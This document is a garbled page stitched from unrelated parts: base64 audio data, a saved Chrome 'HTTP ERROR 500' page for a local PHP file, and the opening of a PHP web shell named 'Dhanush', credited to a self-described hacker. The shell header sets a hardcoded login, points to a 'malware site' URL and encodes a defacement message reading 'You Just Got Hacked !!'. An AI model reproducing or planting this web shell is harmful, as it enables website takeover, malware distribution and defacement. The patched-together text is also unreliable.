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"></audio>
    </template>
  </div>


<script jstcache="0">(function(){function l(a,b,c){return Function.prototype.call.apply(Array.prototype.slice,arguments)}function m(a,b,c){var e=l(arguments,2);return function(){return b.apply(a,e)}}function n(a,b){var c=new p(b);for(c.h=[a];c.h.length;){var e=c,d=c.h.shift();e.i(d);for(d=d.firstChild;d;d=d.nextSibling)1==d.nodeType&&e.h.push(d)}}function p(a){this.i=a}function q(a){a.style.display=""}function r(a){a.style.display="none"};var t=/\s*;\s*/;function u(a,b){this.l.apply(this,arguments)}u.prototype.l=function(a,b){this.a||(this.a={});if(b){var c=this.a,e=b.a;for(d in e)c[d]=e[d]}else{var d=this.a;e=v;for(c in e)d[c]=e[c]}this.a.$this=a;this.a.$context=this;this.f="undefined"!=typeof a&&null!=a?a:"";b||(this.a.$top=this.f)};var v={$default:null},w=[];function x(a){for(var b in a.a)delete a.a[b];a.f=null;w.push(a)}function y(a,b,c){try{return b.call(c,a.a,a.f)}catch(e){return v.$default}}
u.prototype.clone=function(a,b,c){if(0<w.length){var e=w.pop();u.call(e,a,this);a=e}else a=new u(a,this);a.a.$index=b;a.a.$count=c;return a};var z;window.trustedTypes&&(z=trustedTypes.createPolicy("jstemplate",{createScript:function(a){return a}}));var A={};function B(a){if(!A[a])try{var b="(function(a_, b_) { with (a_) with (b_) return "+a+" })",c=window.trustedTypes?z.createScript(b):b;A[a]=window.eval(c)}catch(e){}return A[a]}
function E(a){var b=[];a=a.split(t);for(var c=0,e=a.length;c<e;++c){var d=a[c].indexOf(":");if(!(0>d)){var g=a[c].substr(0,d).replace(/^\s+/,"").replace(/\s+$/,"");d=B(a[c].substr(d+1));b.push(g,d)}}return b};function F(){}var G=0,H={0:{}},I={},J={},K=[];function L(a){a.__jstcache||n(a,function(b){M(b)})}var N=[["jsselect",B],["jsdisplay",B],["jsvalues",E],["jsvars",E],["jseval",function(a){var b=[];a=a.split(t);for(var c=0,e=a.length;c<e;++c)if(a[c]){var d=B(a[c]);b.push(d)}return b}],["transclude",function(a){return a}],["jscontent",B],["jsskip",B]];
function M(a){if(a.__jstcache)return a.__jstcache;var b=a.getAttribute("jstcache");if(null!=b)return a.__jstcache=H[b];b=K.length=0;for(var c=N.length;b<c;++b){var e=N[b][0],d=a.getAttribute(e);J[e]=d;null!=d&&K.push(e+"="+d)}if(0==K.length)return a.setAttribute("jstcache","0"),a.__jstcache=H[0];var g=K.join("&");if(b=I[g])return a.setAttribute("jstcache",b),a.__jstcache=H[b];var h={};b=0;for(c=N.length;b<c;++b){d=N[b];e=d[0];var f=d[1];d=J[e];null!=d&&(h[e]=f(d))}b=""+ ++G;a.setAttribute("jstcache",
b);H[b]=h;I[g]=b;return a.__jstcache=h}function P(a,b){a.j.push(b);a.o.push(0)}function Q(a){return a.c.length?a.c.pop():[]}
F.prototype.g=function(a,b){var c=R(b),e=c.transclude;if(e)(c=S(e))?(b.parentNode.replaceChild(c,b),e=Q(this),e.push(this.g,a,c),P(this,e)):b.parentNode.removeChild(b);else if(c=c.jsselect){c=y(a,c,b);var d=b.getAttribute("jsinstance");var g=!1;d&&("*"==d.charAt(0)?(d=parseInt(d.substr(1),10),g=!0):d=parseInt(d,10));var h=null!=c&&"object"==typeof c&&"number"==typeof c.length;e=h?c.length:1;var f=h&&0==e;if(h)if(f)d?b.parentNode.removeChild(b):(b.setAttribute("jsinstance","*0"),r(b));else if(q(b),
null===d||""===d||g&&d<e-1){g=Q(this);d=d||0;for(h=e-1;d<h;++d){var k=b.cloneNode(!0);b.parentNode.insertBefore(k,b);T(k,c,d);f=a.clone(c[d],d,e);g.push(this.b,f,k,x,f,null)}T(b,c,d);f=a.clone(c[d],d,e);g.push(this.b,f,b,x,f,null);P(this,g)}else d<e?(g=c[d],T(b,c,d),f=a.clone(g,d,e),g=Q(this),g.push(this.b,f,b,x,f,null),P(this,g)):b.parentNode.removeChild(b);else null==c?r(b):(q(b),f=a.clone(c,0,1),g=Q(this),g.push(this.b,f,b,x,f,null),P(this,g))}else this.b(a,b)};
F.prototype.b=function(a,b){var c=R(b),e=c.jsdisplay;if(e){if(!y(a,e,b)){r(b);return}q(b)}if(e=c.jsvars)for(var d=0,g=e.length;d<g;d+=2){var h=e[d],f=y(a,e[d+1],b);a.a[h]=f}if(e=c.jsvalues)for(d=0,g=e.length;d<g;d+=2)if(f=e[d],h=y(a,e[d+1],b),"$"==f.charAt(0))a.a[f]=h;else if("."==f.charAt(0)){f=f.substr(1).split(".");for(var k=b,O=f.length,C=0,U=O-1;C<U;++C){var D=f[C];k[D]||(k[D]={});k=k[D]}k[f[O-1]]=h}else f&&("boolean"==typeof h?h?b.setAttribute(f,f):b.removeAttribute(f):b.setAttribute(f,""+h));
if(e=c.jseval)for(d=0,g=e.length;d<g;++d)y(a,e[d],b);e=c.jsskip;if(!e||!y(a,e,b))if(c=c.jscontent){if(c=""+y(a,c,b),b.innerHTML!=c){for(;b.firstChild;)e=b.firstChild,e.parentNode.removeChild(e);b.appendChild(this.m.createTextNode(c))}}else{c=Q(this);for(e=b.firstChild;e;e=e.nextSibling)1==e.nodeType&&c.push(this.g,a,e);c.length&&P(this,c)}};function R(a){if(a.__jstcache)return a.__jstcache;var b=a.getAttribute("jstcache");return b?a.__jstcache=H[b]:M(a)}
function S(a,b){var c=document;if(b){var e=c.getElementById(a);if(!e){e=b();var d=c.getElementById("jsts");d||(d=c.createElement("div"),d.id="jsts",r(d),d.style.position="absolute",c.body.appendChild(d));var g=c.createElement("div");d.appendChild(g);g.innerHTML=e;e=c.getElementById(a)}c=e}else c=c.getElementById(a);return c?(L(c),c=c.cloneNode(!0),c.removeAttribute("id"),c):null}function T(a,b,c){c==b.length-1?a.setAttribute("jsinstance","*"+c):a.setAttribute("jsinstance",""+c)};window.jstGetTemplate=S;window.JsEvalContext=u;window.jstProcess=function(a,b){var c=new F;L(b);c.m=b?9==b.nodeType?b:b.ownerDocument||document:document;var e=m(c,c.g,a,b),d=c.j=[],g=c.o=[];c.c=[];e();for(var h,f,k;d.length;)h=d[d.length-1],e=g[g.length-1],e>=h.length?(e=c,f=d.pop(),f.length=0,e.c.push(f),g.pop()):(f=h[e++],k=h[e++],h=h[e++],g[g.length-1]=e,f.call(c,k,h))};
})()</script><script jstcache="0">// Copyright 2012 The Chromium Authors
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.

/**
 * @fileoverview
 * NOTE: This file is deprecated, and provides only the minimal LoadTimeData
 * functions for places in the code still not using JS modules. Use
 * load_time_data.m.js in all new code.
 *
 * This file defines a singleton which provides access to all data
 * that is available as soon as the page's resources are loaded (before DOM
 * content has finished loading). This data includes both localized strings and
 * any data that is important to have ready from a very early stage (e.g. things
 * that must be displayed right away).
 *
 * Note that loadTimeData is not guaranteed to be consistent between page
 * refreshes (https://crbug.com/740629) and should not contain values that might
 * change if the page is re-opened later.
 */

/** @type {!LoadTimeData} */
// eslint-disable-next-line no-var
var loadTimeData;

class LoadTimeData {
  constructor() {
    /** @type {?Object} */
    this.data_ = null;
  }

  /**
   * Sets the backing object.
   *
   * Note that there is no getter for |data_| to discourage abuse of the form:
   *
   *     var value = loadTimeData.data()['key'];
   *
   * @param {Object} value The de-serialized page data.
   */
  set data(value) {
    expect(!this.data_, 'Re-setting data.');
    this.data_ = value;
  }

  /**
   * @param {string} id An ID of a value that might exist.
   * @return {boolean} True if |id| is a key in the dictionary.
   */
  valueExists(id) {
    return id in this.data_;
  }

  /**
   * Fetches a value, expecting that it exists.
   * @param {string} id The key that identifies the desired value.
   * @return {*} The corresponding value.
   */
  getValue(id) {
    expect(this.data_, 'No data. Did you remember to include strings.js?');
    const value = this.data_[id];
    expect(typeof value !== 'undefined', 'Could not find value for ' + id);
    return value;
  }

  /**
   * As above, but also makes sure that the value is a string.
   * @param {string} id The key that identifies the desired string.
   * @return {string} The corresponding string value.
   */
  getString(id) {
    const value = this.getValue(id);
    expectIsType(id, value, 'string');
    return /** @type {string} */ (value);
  }

  /**
   * Returns a formatted localized string where $1 to $9 are replaced by the
   * second to the tenth argument.
   * @param {string} id The ID of the string we want.
   * @param {...(string|number)} var_args The extra values to include in the
   *     formatted output.
   * @return {string} The formatted string.
   */
  getStringF(id, var_args) {
    const value = this.getString(id);
    if (!value) {
      return '';
    }

    const args = Array.prototype.slice.call(arguments);
    args[0] = value;
    return this.substituteString.apply(this, args);
  }

  /**
   * Returns a formatted localized string where $1 to $9 are replaced by the
   * second to the tenth argument. Any standalone $ signs must be escaped as
   * $$.
   * @param {string} label The label to substitute through.
   *     This is not an resource ID.
   * @param {...(string|number)} var_args The extra values to include in the
   *     formatted output.
   * @return {string} The formatted string.
   */
  substituteString(label, var_args) {
    const varArgs = arguments;
    return label.replace(/\$(.|$|\n)/g, function(m) {
      expect(m.match(/\$[$1-9]/), 'Unescaped $ found in localized string.');
      return m === '$$' ? '$' : varArgs[m[1]];
    });
  }

  /**
   * As above, but also makes sure that the value is a boolean.
   * @param {string} id The key that identifies the desired boolean.
   * @return {boolean} The corresponding boolean value.
   */
  getBoolean(id) {
    const value = this.getValue(id);
    expectIsType(id, value, 'boolean');
    return /** @type {boolean} */ (value);
  }

  /**
   * As above, but also makes sure that the value is an integer.
   * @param {string} id The key that identifies the desired number.
   * @return {number} The corresponding number value.
   */
  getInteger(id) {
    const value = this.getValue(id);
    expectIsType(id, value, 'number');
    expect(value === Math.floor(value), 'Number isn\'t integer: ' + value);
    return /** @type {number} */ (value);
  }

  /**
   * Override values in loadTimeData with the values found in |replacements|.
   * @param {Object} replacements The dictionary object of keys to replace.
   */
  overrideValues(replacements) {
    expect(
        typeof replacements === 'object',
        'Replacements must be a dictionary object.');
    for (const key in replacements) {
      this.data_[key] = replacements[key];
    }
  }
}

/**
 * Checks condition, throws error message if expectation fails.
 * @param {*} condition The condition to check for truthiness.
 * @param {string} message The message to display if the check fails.
 */
function expect(condition, message) {
  if (!condition) {
    throw new Error(
        'Unexpected condition on ' + document.location.href + ': ' + message);
  }
}

/**
 * Checks that the given value has the given type.
 * @param {string} id The id of the value (only used for error message).
 * @param {*} value The value to check the type on.
 * @param {string} type The type we expect |value| to be.
 */
function expectIsType(id, value, type) {
  expect(
      typeof value === type, '[' + value + '] (' + id + ') is not a ' + type);
}

expect(!loadTimeData, 'should only include this file once');
loadTimeData = new LoadTimeData();

// Expose |loadTimeData| directly on |window|, since within a JS module the
// scope is local and not all files have been updated to import the exported
// |loadTimeData| explicitly.
window.loadTimeData = loadTimeData;

console.warn('crbug/1173575, non-JS module files deprecated.');
</script><script jstcache="0">const pageData = {"details":"Details","errorCode":"HTTP ERROR 500","fontfamily":"\"sans\", Arial, sans-serif","fontsize":"75%","heading":{"hostName":"localhost","msg":"This page isn’t working"},"hideDetails":"Hide details","iconClass":"icon-generic","language":"en","reloadButton":{"msg":"Reload","reloadUrl":"http://localhost/dhanush%20(2).php"},"suggestionsDetails":[],"suggestionsSummaryList":[],"summary":{"failedUrl":"http://localhost/dhanush%20(2).php","hostName":"localhost","msg":"\u003Cstrong jscontent=\"hostName\">\u003C/strong> is currently unable to handle this request."},"textdirection":"ltr","title":"localhost"};loadTimeData.data = pageData;var tp = document.getElementById('t');jstProcess(new JsEvalContext(pageData), tp);</script></body></html>

Original PHP code

<?php
//========================================//
//========+++Dhanush+++==========//
//========================================//
//====+++Coded By Arjun+++===//
//========================================//
//=====+++An Indian Hacker+++=====//
//========================================//
//====Ashvin-2069/Oct-2012====//

// Set Username & Password
$user = "Dhanush";
$pass = "Dhanush";

$malsite = "http://fightagent.ru";  // Malware Site

$ind = "WW91IGp1c3QgZ290IGhhY2tlZCAhISEhIQ=="; // "Deface Page" Base64 encoded "You Just Got Hacked !!"

